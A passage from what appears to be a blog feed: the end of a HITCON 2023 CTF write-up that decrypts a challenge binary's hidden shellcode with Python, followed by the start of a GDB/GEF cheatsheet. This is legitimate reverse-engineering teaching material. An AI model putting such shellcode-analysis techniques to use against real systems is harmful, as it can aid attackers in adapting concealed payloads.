&lt;p&gt;It turns out &lt;code&gt;r12&lt;/code&gt; and &lt;code&gt;r13&lt;/code&gt; are just the first 4 bytes of &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;/bin/sh&lt;/code&gt;&lt;/span&gt; and &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/span&gt;, which is respectively &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&#92;x7fELF&lt;/code&gt;&lt;/span&gt; and &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;root&lt;/code&gt;&lt;/span&gt;. These correspond to &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;0x464c457f&lt;/code&gt;&lt;/span&gt; and &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;0x746f6f72&lt;/code&gt;&lt;/span&gt; in little endian. And &lt;code&gt;r14&lt;/code&gt; is just &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;0x31f3831f&lt;/code&gt;&lt;/span&gt;, computed with a bit of arithmetic. Armed with these 3 values, we can now reverse the encryption.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ror&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; n&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    left &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; n
    right &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xFFFFFFFF&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; n&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; n&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; right &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; left

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;neg&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;join&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;01&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;c &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; c &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;032b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

r12 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x464c457f&lt;/span&gt;
r13 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x746f6f72&lt;/span&gt;
r14 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x31f3831f&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;shelldec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;b&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;Reverse shellcode encryption (decryption).&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; b &lt;span class=&quot;token operator&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ror&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;neg&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;b &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; r14&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xb&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; r13&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; r12&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt;

byteorder &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;little&#39;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# `encrypted` words obtained from 160010 to 16004f.&lt;/span&gt;
encrypted &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x526851a7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x31ff2785&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xc7d28788&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x523f23d3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xaf1f1055&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x5c94f027&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x797a3fcd&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xe7f02f9f&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x3c86f045&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x6deab0f9&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x91f74290&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x7c9a3aed&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xdc846b01&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x743c86c&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xdff7085c&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xa4aee3eb&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
decrypted &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;shelldec&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;u&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; u &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; encrypted&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;tying-it-all-together&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#tying-it-all-together&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Tying it All Together&lt;/h3&gt;
&lt;p&gt;All that&#39;s left is to tie the three parts together.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;bs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;join&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;u&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;to_bytes&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; byteorder&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; u &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; decrypted&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    bs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; apply_rmp&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    bs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; apply_rperm&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;decode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;debugging-our-mess&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#debugging-our-mess&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Debugging Our Mess&lt;/h2&gt;
&lt;p&gt;Some small tips on debugging.&lt;/p&gt;
&lt;p&gt;Sometimes the solution is simple and straightforward. But occasionally, we make programming mistakes or misunderstand the problem. Debugging code can be painful.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Prove inverse function holds. Sounds mathy, but the basic principle is to check if our &lt;em&gt;reversed output&lt;/em&gt; equals our &lt;em&gt;input&lt;/em&gt;. In math terms: &lt;code&gt;f(g(x)) = g(f(x)) = x&lt;/code&gt;, where &lt;code&gt;g&lt;/code&gt; is the inverse of &lt;code&gt;f&lt;/code&gt;. If it&#39;s not equal, clearly we messed up somewhere.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is useful for the second part (mapping), because our domain is small, just 0 - 255.&lt;/li&gt;
&lt;li&gt;For example, with shellcode encryption, we can do a forward pass, to make sure we&#39;re getting the same data.&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;shellenc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;Forward shell encryption.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
    u32 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;lambda&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xFFFFFFFF&lt;/span&gt; 
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; neg&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ror&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;u32&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; r12&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; r13&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xb&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; r14

&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; encrypted &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;shellenc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; v &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; decrypted&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use &lt;code&gt;assert&lt;/code&gt;s. Great for intermediate checks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Verify assumptions with dynamic analysis.
For example, I had falsely assumed in the shellcode that &lt;code&gt;r12 == 0&lt;/code&gt;, since seemed to be pushed by the assembly. But as we found out, &lt;code&gt;r12 == L&amp;quot;FLE&#92;x7f&amp;quot;&lt;/code&gt;.
However, be wary of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Observer_effect_(information_technology)&quot;&gt;observer effect&lt;/a&gt;, where the program changes behaviour when observed. I haven&#39;t seen this much in CTFs, but it&#39;s certain to be out there...&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;final-remarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#final-remarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Final Remarks&lt;/h2&gt;
&lt;p&gt;It&#39;s easy to miss things out. I know I did. Lots of hair was lost until I realised I left out the shellcode. I also tried to search the shellcode on ExploitDB, but no luck, because it was hand-spun.&lt;/p&gt;
&lt;p&gt;But overall, a sweet challenge. And one that left me with nice rave music to power me through Saturday.&lt;/p&gt;
&lt;h2 id=&quot;solve-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#solve-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Script&lt;/h2&gt;
&lt;script src=&quot;https://gist.github.com/TrebledJ/bea5665f3cd340997ff60e069558e80d.js&quot;&gt;&lt;/script&gt;
&lt;h2 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h2&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-txt&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-txt&quot;&gt;hitcon{&amp;lt;https://soundcloud.com/monstercat/noisestorm-crab-rave&amp;gt;}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;(I don&#39;t know what this music was. It was my first time listening to it. And it&#39;s &lt;em&gt;&lt;strong&gt;epic&lt;/strong&gt;&lt;/em&gt;! So thank you, wxrdnx, for introducing this nice rave and meme.)&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;A better specifier would be &lt;code&gt;x/64bd&lt;/code&gt;. This displays 64 &lt;code&gt;d&lt;/code&gt;ecimal &lt;code&gt;b&lt;/code&gt;ytes, and is more convenient to parse in Python. But I chose &lt;code&gt;x/16wx&lt;/code&gt; since I didn&#39;t know better at the time and caused myself extra pain. 🥲 &lt;a href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>ctf</category>
        
          <category>reverse</category>
        
          <category>rust</category>
        
          <category>python</category>
        
          <category>programming</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>GDB/GEF Cheatsheet</title>
        <description>Quick command reference on one of the most powerful tools for dynamic analysis.</description>
        <link href="https://trebledj.me/posts/gdb-cheatsheet/"/>
        <updated>2023-09-11T00:00:00Z</updated>
        <id>https://trebledj.me/posts/gdb-cheatsheet/</id>
        <content xml:lang="en" type="html">&lt;p&gt;This is a curated collection of GDB/GEF commands which I find incredibly useful for dynamic analysis and reverse engineering. These are mainly personal notes and may be incomplete, but suggestions are welcome! If there&#39;s a useful GDB/GEF command you use that&#39;s not on this list, do &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#comments&quot;&gt;leave a comment&lt;/a&gt; or &lt;a href=&quot;https://trebledj.me/#contact&quot;&gt;let me know&lt;/a&gt; so that I can add it. :)&lt;/p&gt;
&lt;h2 id=&quot;the-basics&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#the-basics&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Basics&lt;/h2&gt;
&lt;h3 id=&quot;hjaelp&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#hjaelp&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Hjaelp!&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Describes how to use a command.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;help&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;help&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;command&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;help&lt;/span&gt; info
&lt;span class=&quot;token builtin class-name&quot;&gt;help&lt;/span&gt; breakpoint&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;execution&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#execution&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Execution&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Run Program with Loaded File&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;gdb &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;filename&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Load Files&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token function&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;filename&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Running&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;start    &lt;span class=&quot;token comment&quot;&gt;# Starts program and breaks at beginning.&lt;/span&gt;
run      &lt;span class=&quot;token comment&quot;&gt;# Runs program normally.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Continue program where you left off.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;kill&lt;/span&gt;     &lt;span class=&quot;token comment&quot;&gt;# Kill process.&lt;/span&gt;
quit     &lt;span class=&quot;token comment&quot;&gt;# Leave GDB.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Shell Commands&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;shell &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;cmd&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
